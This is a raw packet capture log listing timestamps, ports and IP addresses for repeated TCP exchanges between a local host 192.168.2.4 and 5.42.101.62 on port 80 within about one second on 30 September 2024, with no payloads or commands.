Sep 30, 2024 12:22:35.585947990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585957050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.585980892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.585984945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586014032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586023092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586045980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586052895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586082935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586087942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586116076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586126089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586148977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586154938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586183071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586195946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586220026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586222887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586251974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586257935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586285114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586289883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586317062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586324930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586349964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586355925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586380959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586390018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586415052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586421967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586447954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586451054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586481094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586488962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586514950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586522102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586549997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586558104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586582899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586590052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586616039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586622953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586647034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586652040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586683035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586692095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586714983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586724043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586752892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586756945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586785078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586795092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586822033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586827993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586853981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586863041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586886883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.586894035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.586926937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669506073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669552088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669572115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669590950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669611931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669614077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669642925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669651985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669660091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669676065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669704914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669708014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669718981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669734001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669750929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669753075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669766903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669776917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669787884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669795990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669815063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669815063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669830084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669836998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669845104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669856071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669862032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669869900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669891119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669903994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669919014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669935942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.669960022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669969082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.669998884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670013905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670028925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670041084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670044899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670062065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670070887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670089006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670108080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670131922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670147896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670162916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670170069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670188904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670191050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670207024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670207977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670222044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670229912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670239925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670243979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670257092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670267105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670281887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670305967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670322895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670341015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670357943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670362949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670381069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670393944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670464993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670480013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670495033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670506001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670511961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670525074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670528889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670542955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670547009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670567036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670582056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670592070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670592070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670623064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670723915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670741081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670757055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670773029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670788050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670804024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670819998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670820951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670819998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670819998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670819998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670819998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670838118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670850039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670854092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670867920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670871019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670887947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670902014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670916080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670921087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670933008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670950890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.670955896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670977116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.670994997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671082973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671098948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671114922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671125889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671133041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671139956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671155930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671163082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671170950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671171904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671189070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671195030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671206951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671214104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671233892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671247959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671284914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671308041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671333075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671350956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671375036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671397924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671412945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671415091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671432972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671435118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671451092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671454906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671468019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671477079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671483994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671502113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671504974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671504974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671521902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671535969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671542883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671547890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671547890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671570063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671586037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671592951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671607018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671617031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671622992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671633005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671638966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671658993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671684027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671711922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671727896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671755075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671755075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671771049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671773911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671787977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671797037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671804905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671813011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671822071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671837091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671849012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671876907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671895027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671911001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671926975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671936035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671948910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671969891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.671971083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.671989918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672004938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672013044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672024965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672030926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672039986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672049999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672055960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672064066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672070980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672086000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672120094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672199965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672215939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672230959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672235012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672235966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672245979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672262907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672276974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672281027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672300100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672328949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672337055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672344923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672353029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672373056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672380924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672389030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672399998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672405005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672421932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672430992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672457933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672470093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672486067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672487020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672502995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672503948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672518969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672523022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672534943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672544956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672553062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672560930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672569990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672580004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672600031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672616959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672838926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672854900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672871113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672885895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672903061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672905922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672918081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672934055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.672934055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672960043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.672971010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.756700993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.756784916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.756822109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.756854057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.756870985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.756901026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.756910086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.756946087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.756949902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.756978989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.756990910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757020950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757025003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757061005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757071972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757107019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757123947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757150888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757158995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757194042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757205009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757231951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757235050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757266045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757277966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757299900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757308960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757344961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757350922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757395983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757402897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757436037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757447958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757473946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757477999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757508993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757519960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.757541895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.757549047 CEST	52534	80	192.168.2.4	5.42.101.62
